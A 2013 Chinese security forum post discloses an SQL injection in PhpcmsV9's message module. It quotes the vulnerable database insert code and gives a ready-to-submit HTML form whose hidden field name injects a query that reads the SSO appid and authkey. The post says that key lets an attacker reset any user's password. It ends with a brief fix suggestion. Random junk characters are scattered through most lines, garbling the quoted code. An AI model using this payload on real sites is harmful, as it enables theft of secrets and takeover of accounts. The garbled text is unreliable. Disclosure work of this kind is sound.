找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2136|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:) r2 G, I7 o3 o

  L* g6 `- y, v; c; u" X; p7 E第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
0 }" A$ B  v' q* T+ C1 ]9 Q4 D
/ O, d( ^8 W" G/ t) _9 {/ g; h+ z* v明天再更新下一个漏洞。
/ {, G2 G8 M; I详细说明:; ^4 |8 d6 {6 L$ o
在/phpcms9/phpcms/modules/message/index.php中有代码如下:# Q! |  P' ?3 t- }$ k" g5 ]! X- ~

- K# q0 N8 F) G' L$messageid = $this->message_db->insert($_POST['info'],true);
  i, j7 t; o" y, H; G" z) C" U3 v
" X; L5 t6 W- q
/ k- u5 y2 B9 v* x) Z! u3 T# W1 Sinsert方法是key value的,代码如下:
% Y7 q. q7 A: U9 Z* a6 @
. }0 s" e: U6 d, }: C. ^* x3 h1 y" ?public function insert($data, $table, $return_insert_id = false, $replace = false) {! s* _6 m! o9 }  U
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
' y: w8 S1 ~" H0 `                        return false;% F2 f# D- @5 d8 A( b" {
                }: H" M# {+ d/ y8 k5 a2 `
                  [7 c) n8 T& \1 @" i2 `9 m6 J. ]
                $fielddata = array_keys($data);
. \: x: B# s& ~- |2 F                $valuedata = array_values($data);
$ X' @# e; K2 m- B/ F                array_walk($fielddata, array($this, 'add_special_char'));
) G% e* |% B! U9 @                array_walk($valuedata, array($this, 'escape_string'));, f- O) b3 ^: n- U
               
! |* w5 S. A6 [0 T! b" y5 [                $field = implode (',', $fielddata);
. y5 x! ?2 F5 ]8 V" z# H6 k  ~                $value = implode (',', $valuedata);
3 L  I$ S7 G( v$ e) O
% A) {# l/ O: \. B                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
; r. l& @& ^3 L# l/ i, }3 F" n8 @* n                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';' g- d% T/ c3 o4 x, M) \! i, U
                $return = $this->execute($sql);5 C. e3 o6 x8 M0 F. I( Q! ~0 ?
                return $return_insert_id ? $this->insert_id() : $return;3 m: C$ ~2 F7 b5 Z# Y
        }! j/ Q  @! w2 o  d2 M9 ~
! d/ Q+ N: o  E" g9 q
. m2 J3 U+ {3 c; C. P
嗯,很遗憾的是
! d7 j; o% j  v, ?( a" S  X- l0 r5 V9 ^2 I! [5 H; s/ L; G
array_walk($fielddata, array($this, 'add_special_char'));5 P* _( }9 w( [) L
4 w, [9 P" i  D5 d" M; R4 M
8 p0 i' @! j4 o# w4 H: b
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。# I8 k8 ?+ _! z4 I

% M! b+ Z) Y5 Y# c0 ^到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。0 k8 ], w1 w/ R/ ~$ u+ r
5 z- W" @; M8 F9 p6 x1 F
漏洞证明:
) d* y: w6 ^+ |1 s+ i& z8 E# \读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
& M0 n6 @8 J& K6 R$ G( W$ |# b; F/ M: J% N2 `9 A4 \

8 i3 [* B  l7 f表单如下:用户名什么的得自己改一改。! p8 o1 L. q: O) I
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
) |' g& s/ n1 `! Y6 w; h! e* H<table width="100%" cellspacing="0" class="table_form">5 u' j6 z. j8 X, _! Z; T
<tr># |0 i" z2 `* y" W
<th>标 题:</th>; c! D3 y# g" y: V
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
9 c0 p# C9 b6 K. P7 ]9 f! ?</tr>
- E. e1 O2 Z3 T' b' @- i<tr>& V# h* h/ ]  g. @
<th>内 容:</th>
1 g, F% N- A# p$ p: m9 V: n* P<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
/ v; @+ o7 x2 d2 P4 ~8 d! `</tr>1 W$ e8 S# x& R1 ~) |( E& \, j2 W. D
<input type="hidden" name="info[replyid]" value="2" /> ' c7 `+ R4 ^* A% m
<input type="hidden" name="info[send_to_id]" value="cc" /> * Q* w% X+ h- k0 o. G
<input type="hidden" name="info[send_from_id]" value="hh">$ _6 Y* W8 n9 v7 j, @
<!-- 漏洞的利用重点在这里开始 -->$ N9 I+ b+ X$ y
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
( s5 w8 t7 W; r6 C# c3 T7 o: J6 U2 Z<!-- 漏洞的利用重点在这里结束 -->% b! n; t- R. A; _& ]3 d
<tr>
+ X6 m6 d) D4 o$ T% S5 f- t: ^<th>验证码:</th>; N- D5 u& ?* H+ C- Z
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>% c" ]/ E- u" n% n8 Z
</tr>& B% E7 X; d6 u
<tr>
( p. j+ u7 V' t3 T* d<td></td>( M3 d, K$ U; @+ m
<td colspan="2"><label># G# t5 n7 V/ l* `( C( F
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>3 J' D% W# Z& S# I! o
</label></td>
; a- l6 V* |& E% x</tr>
. n1 y( Q9 u, r0 s. v9 b$ x. O</table>
1 ^/ V  L& m- U: t' r# e</form>2 T2 X( \# s( R/ n% Z
在add_special_char函数内对key做过滤就可以了。4 r0 O. E8 F& N: r% s" z# a

7 z/ v+ E' W6 r# t) B+ X8 b
+ Q8 [8 X" N7 ~. Q4 c  i. U+ J
3 t/ r) s# n% |& u7 _- r! D

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表